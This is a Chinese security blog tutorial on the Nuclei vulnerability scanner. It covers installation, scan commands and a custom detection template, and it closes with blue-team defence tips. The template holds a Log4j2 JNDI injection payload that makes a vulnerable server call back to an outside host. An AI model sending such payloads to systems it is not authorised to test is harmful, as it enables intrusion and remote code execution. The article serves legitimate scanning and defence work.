文章总结： 本文介绍Nuclei漏洞扫描引擎，其基于YAML模板驱动，支持多协议探测，具有扫描速度快、误报率低等优势。文章详述安装方法、基础扫描命令及自定义POC模板编写实战，并给出蓝队防御建议，包括检测Nuclei流量、加固敏感路径及定期自扫描。文章强调工具仅限合法授权场景使用。
综合评分： 75
文章分类： 漏洞分析,安全工具,红队,渗透测试,安全运营

基于YAML模板的下一代漏洞扫描引擎：Nuclei深度实战与自定义POC编写

原创

运维安全入门
运维安全入门

运维安全入门

2026年9月24日 09:36
陕西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

传统漏洞扫描器（如 Nessus、AWVS）往往依赖庞大的特征库与黑盒探测，存在误报率高、更新慢、难以定制的痛点。

Nuclei 由 ProjectDiscovery 团队开源，它采用基于 YAML 模板的扫描机制，将漏洞检测逻辑代码化。凭借其极快的扫描速度、极低的误报率与活跃的社区模板库，Nuclei 已成为红队与漏洞猎人手中的”新宠”。

01     核心架构：为什么 Nuclei 如此高效？

• YAML 模板驱动：

  每个漏洞对应一个 YAML 文件，定义了请求构造、匹配规则与提取逻辑。模板即代码，版本控制友好。

• 多协议支持：

  不仅支持 HTTP/HTTPS，还原生支持 TCP、DNS、SSL、WHOIS、文件头等协议的探测。

• 原子化与可组合性：

  支持多步请求（Raw HTTP）、变量提取、条件判断，能够模拟复杂的漏洞利用链。

02     安装与基础使用

1. 安装 Nuclei

# 使用 Go 安装 go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest  # 使用 Homebrew (macOS) brew install nuclei  # 更新漏洞模板库 nuclei -update-templates

2. 基础扫描命令

# 扫描单个目标 nuclei -u https://target.com  # 扫描目标列表，并输出 JSON 结果 nuclei -l targets.txt -o results.json -json  # 仅运行严重性为 "critical" 或 "high" 的模板 nuclei -u https://target.com -severity critical,high

03     自定义 YAML 模板编写实战

     Nuclei 的核心魅力在于自定义模板。以下是一个检测 Apache Log4j2 RCE（CVE-2021-44228）的模板示例：

id: log4j-rce-cve-2021-44228  info:   name: Apache Log4j2 RCE   author: your_name   severity: critical   description: Detects Log4j2 RCE via JNDI injection   reference:     - https://nvd.nist.gov/vuln/detail/CVE-2021-44228   tags: cve,cve2021,rce,log4j  requests:   - raw:       - |         POST /api/login HTTP/1.1         Host: {{Hostname}}         Content-Type: application/json          {"username": "${jndi:ldap://{{interactsh-url}}/a}", "password": "test"}      matchers-condition: and     matchers:       - type: word         part: interactsh_protocol         words:           - "dns"           - "http"

04     蓝队视角：如何防御 Nuclei 扫描？

• 检测 Nuclei 流量：

  Nuclei 默认 User-Agent 为 Nuclei - Open-source project；其请求往往携带特定的 Header（如 X-Nuclei-ID）。

• 防御模板探测：

  对敏感路径（如 /actuator、/env、/.git）实施访问控制或返回统一 404。

• 防御加固策略：

  定期使用 Nuclei 对自身资产进行扫描，提前发现并修复漏洞；部署 WAF 拦截包含 JNDI、SSRF 等特征的恶意请求。

免责声明：本文所涉及工具及技术仅用于安全运维自查、合法授权的渗透测试及安全教育，严禁用于任何未授权的非法攻击行为！

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：运维安全入门 运维安全入门
运维安全入门《基于YAML模板的下一代漏洞扫描引擎：Nuclei深度实战与自定义POC编写》